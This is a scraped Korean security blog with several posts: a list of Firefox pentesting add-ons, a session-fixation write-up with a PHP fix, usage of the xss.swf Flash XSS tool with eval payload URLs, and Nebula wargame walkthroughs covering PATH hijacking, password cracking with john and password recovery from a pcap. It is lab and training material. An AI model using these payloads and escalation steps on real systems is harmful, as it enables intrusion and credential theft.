https://code.google.com/p/hackbar/

4. JavaScript Debugger

http://www.hacksrus.com/~ginda/venkman/

5. NF-Tools

http://www.net-force.nl/

6. LiveHttpHeaders

http://livehttpheaders.mozdev.org/

7. ServerSpy

http://www.jacquet80.eu/mozilla/exts/ServerSpy/

8. Selenuim IDE

http://docs.seleniumhq.org/projects/ide/

9. PhProxy

https://addons.mozilla.org/en-US/firefox/addon/phzilla/

10. SwitchProxy

http://mozmonkey.com/

11. FireEncrypter

http://www.jungsonnstudios.com/Mozilla/

12. InFormEnter

http://informenter.mozdev.org/

13. SuperDragAndGo

https://addons.mozilla.org/ko/firefox/addon/super-dragandgo/

14. TamperData

http://tamperdata.mozdev.org/

15. WebDevloper

http://chrispederick.com/work/web-developer/

16. Technika

http://www.gnucitizen.org/blog/technika/

17. ViewSource Chart

http://www.zigrat.com/

18. UserAgent Switcher

http://chrispederick.com/work/user-agent-switcher/

19. ShowIP

http://l4x.org/projects/showip.html

20. GreaseMonkey

http://l4x.org/projects/showip.html

21. OpenAsWebFolder

http://openwebfolder.mozdev.org/



저작자 표시
신고

'30. > 31. Web' 카테고리의 다른 글

URL 한글 인코딩, 디코딩  (0) 2014.04.19
OpenSSL HeartBleed 취약점  (0) 2014.04.19
The Hacker Firefox  (0) 2014.04.17
22. 세션고정(SF) 취약점  (0) 2014.04.16
Flash SWF을 이용한 XSS  (0) 2014.03.20
[DVWA] Damn Vulnerable Web Application 설치  (1) 2014.02.05

22. 세션고정(SF) 취약점


  • 취약점 설명

세션값을 고정하여 명확한 세션 식별자(ID) 값으로 사용자가 로그인하여 정의된 세션 식별자(ID)가 사용 가능하게 되는 취약점


  • 판단기준(조건)

- 로그인(인증절차) 전후로 세션이 변하지 않고 처음 웹 서버에 접속할때 세션을 고정하여 사용한다

- IP가 다른 두개의 PC에서 동일한 세션으로 접근이 가능하다


  • 모의해킹 시나리오
      1. 해커는 웹(Target)서버에 접근하여 정상 세션을 발급받는다.
      2. 해커는 희생자(admin)에게 해커가 받은 정상 세션을 강제로 Set-Cookie하고 웹으로 리다이렉트 하는 스크립트를 메일로 전송한다.
      3. 희생자(admin)는 해커가 보낸 메일을 확인하고 스크립트를 실행한다.
      4. 희생자(admin)는 웹(Target)에 접근할때 해커와 같은 세션으로 접근하게 된다.
      5. 희생자(admin)는 정상적으로 관리자 페이지에 로그인한다.
      6. 관리자 페이지에 로그인(인증절차)을 하여도 세션이 로그인 전후로 변하지 않는다.
      7. 해커와 희생자(admin)는 동일한 세션을 사용하기 때문에 해커는 새로고침(F5)을 할때 관리자 권한을 가져온다.




  • 조치 방안

- 로그인 전후로 세션을 재 발급한다.

PHP

<?php

session_start();

$old_sessionid = session_id();

session_regenerate_id();

$new_sessionid = session_id();


echo "Old Session : $old_sessionid<br />";

echo "New Session : $new_sessionid<br />";


print_r($_SESSION);

?>


ASP


JSP




- IP를 체크하여 멀티세션을 막는다.



※ 참고 자료

http://en.wikipedia.org/wiki/Session_fixation



저작자 표시
신고

XSS using a Flash SWF



xss.zip


a tiny tool for swf hacking, just browse it:)

param&value:


a(action) - c(cmd)

1.location to url: xss.swf?a=location&c=http://www.google.com/ 

2.open url to new window: xss.swf?a=open&c=http://www.google.com/ 

3.http request to url: xss.swf?a=get&c=http://www.google.com/ 

4.eval js codz: xss.swf?a=eval&c=alert(document.domain)

--------------------------------------------------------------------------------



localhost/xss.swf?a=location&c=http://www.google.com/






※ 출처

https://github.com/evilcos/xss.swf




※ 참고자료

http://panchocosil.blogspot.kr/2013/07/swf-file-preview-at-googlegroupscom.html

http://donncha.is/2013/06/coinbase-owning-a-bitcoin-exchange-bug-bounty-program/

http://erlend.oftedal.no/blog/?blogid=99

http://www.exploit-db.com/

저작자 표시
신고

eXeScope


실행파일 한글 수정 유틸리티

 Tool name

 eXeScope

 Author 

 -

 Website

 http://hp.vector.co.jp/authors/VA003525/emysoft.htm

 License type

 Sharaware

 Download

 

eXeSc650_1.zip



자매품 : ResScope





















저작자 표시
신고

'30. > 33. Reverse engineering' 카테고리의 다른 글

eXeScope  (0) 2014.02.26
ExeInfo PE  (0) 2014.02.26
PEiD v0.95 패킹 확인  (0) 2014.02.18
리버스 코드 엔지니어  (0) 2014.01.21

ExeInfo PE


Packers, 압축, 언팩 정보 탐지 툴

 Tool name

 ExeInfo PE 

 Author

 A.S.L 

 Website 

 http://www.exeinfo.xn.pl 

 License type:

 Free 

 Download

 

Bin_ExeInfo_PE_2013-12-22_23.28_exeinfope.zip












저작자 표시
신고

'30. > 33. Reverse engineering' 카테고리의 다른 글

eXeScope  (0) 2014.02.26
ExeInfo PE  (0) 2014.02.26
PEiD v0.95 패킹 확인  (0) 2014.02.18
리버스 코드 엔지니어  (0) 2014.01.21

PEid v0.95



 Tool name

 PEid

 Author

 -

 Website

 http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml

 License type

 Freeware

 Download

 

PEiD v0.95.zip















저작자 표시
신고

'30. > 33. Reverse engineering' 카테고리의 다른 글

eXeScope  (0) 2014.02.26
ExeInfo PE  (0) 2014.02.26
PEiD v0.95 패킹 확인  (0) 2014.02.18
리버스 코드 엔지니어  (0) 2014.01.21

DVWA


Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.


다운로드 경로 : http://www.dvwa.co.uk/

DVWA-1.0.8.zip










APMSETUP 설치



C:\APM_Setup\htdocs\ 디렉토리에 DVWA 복사




localhost/DVWA/login.php 접속



Create / Reset Database 클릭















DB 패스워드를 p@sswOrd -> apmsetup 변경








admin / password


저작자 표시
신고

Nebula level08


About

World readable files strike again. Check what that user was up to, and use it to log into flag08 account.


To do this level, log in as the level08 account with the password level08 . Files for this level can be found in /home/flag08.


Source code

There is no source code available for this level



capture.pcap 파일을 패킷 분석 툴을 이용하여 flag08의 비밀번호를 탈취










tcpdump로 패킷 분석 실패... scp를 이용하여 kali linux로 capture.pcap 전송

scp -P ./capture.pcap root@192.168.186.129:/root






프로그램 - Kali Linux - Sniffing/Spoofing - Network Sniffers - wireshark 선택



로드된 파일 - 마우스 오른쪽 버튼 클릭 - Follow TCP Stream 선택








아래 Hex Dump를 선택하여 hex 코드 확인

0x7f의 경우 아스키코드에서 delete를 뜻함. 즉, 글을 작성하고 삭제됨

 


flag08의 비밀번호는 backd00Rmate 이다.



저작자 표시
신고

Nebula level06


About

The flag06 account credentials came from a legacy unix system.


To do this level, log in as the level06 account with the password level06 . Files for this level can be found in /home/flag06.


Source code

There is no source code available for this level



레거시 리눅스에서 flag06 계정의 비밀번호 탈취







/etc/passwd 파일의 권한은 644로

root는 읽기 및 수정이 가능하고 other(현제 접속한 계정 level06) 또한 읽기 가능





가장 흔한 password creak 도구인 john the ripper를 사용하여 패스워드를 획득





계정 : flag06

패스워드 : hello








저작자 표시
신고

Nebula level05


About

Check the flag05 home directory. You are looking for weak directory permissions


To do this level, log in as the level05 account with the password level05 . Files for this level can be found in /home/flag05.


Source code

There is no source code available for this level




디렉토리 권한 문제로 특정 압축파일의 권한이 664이지만 압축 해제된 파일들의 권한은 현제 계정으로 권한이 발급되어 사용 가능




/home/flag05 디렉토리로 접근하면 아래와 같은 파일 확인 가능

.ssh 디렉토리를 발견하였지만 해등 디렉토리에는 접근 권한이 없음


ps 명령어를 이용하여 sshd 데몬이 존재하는지 확인




.backup 폴더에 접근하여 backup-19072011.tgz 압축 파일 확인



해당 압축파일은 현제 계정의 폴더에 해제

tar -xzvf [압축을 해제할 파일] [해제할 경로]

상위 ssh 파일은 ssh 암호 없이 자동로그인 하는 키를 저장한 파일

참고자료

 http://kldp.org/node/84757




flag06 접근


비밀번호 없이 접근





저작자 표시
신고

Nebula level04


About

This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it :)


To do this level, log in as the level04 account with the password level04 . Files for this level can be found in /home/flag04.


Source code


1#include <stdlib.h> 2#include <unistd.h> 3#include <string.h> 4#include <sys/types.h> 5#include <stdio.h> 6#include <fcntl.h> 7 8int main(int argc, char **argv, char **envp) 9{ 10 char buf[1024]; 11 int fd, rc; 12 13 if(argc == 1) { 14 printf("%s [file to read]\n", argv[0]); 15 exit(EXIT_FAILURE); 16 } 17 18 if(strstr(argv[1], "token") != NULL) { 19 printf("You may not access '%s'\n", argv[1]); 20 exit(EXIT_FAILURE); 21 } 22 23 fd = open(argv[1], O_RDONLY); 24 if(fd == -1) { 25 err(EXIT_FAILURE, "Unable to open %s", argv[1]); 26 } 27 28 rc = read(fd, buf, sizeof(buf)); 29 30 if(rc == -1) { 31 err(EXIT_FAILURE, "Unable to read fd %d", fd); 32 } 33 34 write(1, buf, rc); 35}






















저작자 표시
신고

Nebula level03


About

Check the home directory of flag03 and take note of the files there.


There is a crontab that is called every couple of minutes.


To do this level, log in as the level03 account with the password level03 . Files for this level can be found in /home/flag03.


Source code

There is no source code available for this level




nebula login : level03

password : level03























저작자 표시
신고

Nebula level02

About

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?


To do this level, log in as the level02 account with the password level02 . Files for this level can be found in /home/flag02.


Source code


1#include <stdlib.h> 2#include <unistd.h> 3#include <string.h> 4#include <sys/types.h> 5#include <stdio.h> 6 7int main(int argc, char **argv, char **envp) 8{ 9 char *buffer; 10 11 gid_t gid; 12 uid_t uid; 13 14 gid = getegid(); 15 uid = geteuid(); 16 17 setresgid(gid, gid, gid); 18 setresuid(uid, uid, uid); 19 20 buffer = NULL; 21 22 asprintf(&buffer, "/bin/echo %s is cool", getenv("USER")); 23 printf("about to call system(\"%s\")\n", buffer); 24 25 system(buffer); 26}































다른 풀이법



저작자 표시
신고

Nebula level01


About

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?


To do this level, log in as the level01 account with the password level01 . Files for this level can be found in /home/flag01.


Source code


1#include <stdlib.h>

2#include <unistd.h> 3#include <string.h> 4#include <sys/types.h> 5#include <stdio.h> 6 7int main(int argc, char **argv, char **envp) 8{ 9 gid_t gid; 10 uid_t uid; 11 gid = getegid(); 12 uid = geteuid(); 13 14 setresgid(gid, gid, gid); 15 setresuid(uid, uid, uid); 16 17 system("/usr/bin/env echo and now what?"); 18}









실행해야하는 파일은 /home/flag01 디렉토리 아래 있다.



flag01을 실행하면 "and now what?"을 확인 가능하다.




이번문제는 $PATH weaknesses 를 이용하는 문제로




현재 실행되고 있는 shell(/bin/sh)이 명령어를 검색할때 PATH에 설정된 디렉토리에서 먼저 검색해온다.




쉘어 $PATH에 /tmp 경로를 추가해준다.


/tmp의 경우 sticky bit가 설정되어 특별한 권한이 생긴다.

[sticky bit]

사용자가 아무나 파일을 넣어 놓을 수 있는 디렉토리를 가지고 있다면 어느 누구나 다른 사람의 파일을 지울 수 있다. 이때, sticky bit를 설정하게 되면, 아무나 해당 디렉토리에서 파일을 삭제할 수 없게 되며, 파일을 삭제할 수 있는 사용자는 다음과 같다.

> 파일의 소유자

> 디렉토리 소유자

> 슈퍼 유저






/bin/bash를 심볼릭 링크를 걸어서 /tmp/echo를 만들고 실행한다.

하지만, system안에 작성된 "and now what?"을 파라미터로 인식하여 실행되지 않는다.

 


간단한 bash script를 작성하여 파라미터로 인식되는 부분을 무시한다.



저작자 표시
신고

Nebula level00



About

This level requires you to find a Set User ID program that will run as the "flag00" account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.


Alternatively, look at the find man page.


To access this level, log in as level00 with the password of level00 .


Source code

There is no source code available for this level


문제 시작

nebula login : level00

Password: level00


문제 이해







$ find / -executable -user flag00 2> /dev/null

flag00으로 실행가능한 파일 검색





You have successfully executed geflag on a target account


저작자 표시
신고
1 2 

카운터

Total : 85,369 / Today : 1 / Yesterday : 31
get rsstistory!